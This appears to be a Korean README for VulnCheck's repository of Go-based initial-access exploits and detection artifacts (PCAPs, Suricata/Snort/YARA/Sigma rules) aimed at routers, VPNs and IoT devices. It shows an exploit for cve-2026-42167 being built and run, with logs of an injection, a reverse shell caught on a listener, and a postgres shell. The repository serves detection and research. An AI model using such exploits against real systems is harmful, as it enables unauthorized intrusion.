
라우터, VPN, 어플라이언스 및 IoT의 인증되지 않은 네트워크 취약점을 위한 Go 기반 익스플로잇으로, PCAP, Suricata/Snort/YARA/Sigma 규칙 및 Nmap 스크립트와 함께 제공됩니다.
VulnCheck의 초기 접근 커뮤니티 저장소에는 자사의 독점 제품인 Initial Access Intelligence와 커뮤니티 기여에서 비롯된 익스플로잇 및 관련 아티팩트가 포함되어 있습니다. 초기 접근의 일반적인 초점은 사용자 상호작용이 필요 없는 네트워크 기반 취약점이며, 인증이 필요 없는 취약점을 강하게 선호합니다. 일반적인 대상으로는 라우터, VPN, 자체 호스팅 서비스(MobileIron, GitLab, Confluence 등), 네트워크 어플라이언스, B2B 애플리케이션, IoT 기기가 있습니다.
익스플로잇은 VulnCheck의 go-exploit 프레임워크를 사용하여 Go로 작성되었습니다. 가능한 경우 익스플로잇에는 대상 검증기와 버전 스캐너가 포함됩니다. 그러나 초기 접근은 익스플로잇만을 다루지는 않습니다. 우리는 발견과 탐지에도 관심을 가집니다. 익스플로잇과 함께 가능한 경우 다음을 포함합니다:
익스플로잇 설계에 관해서는 go-exploit과 동일한 지침을 따릅니다. go-exploit 패키지 개요를 참조하십시오.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - 익스플로잇 및 취약점별 아티팩트verification/ - 공유 대상 검증 코드shells/ - 공유 셸 및 페이로드 코드examples/ - 새 익스플로잇 작성을 위한 템플릿tools/ - 프로젝트 도구 및 유틸리티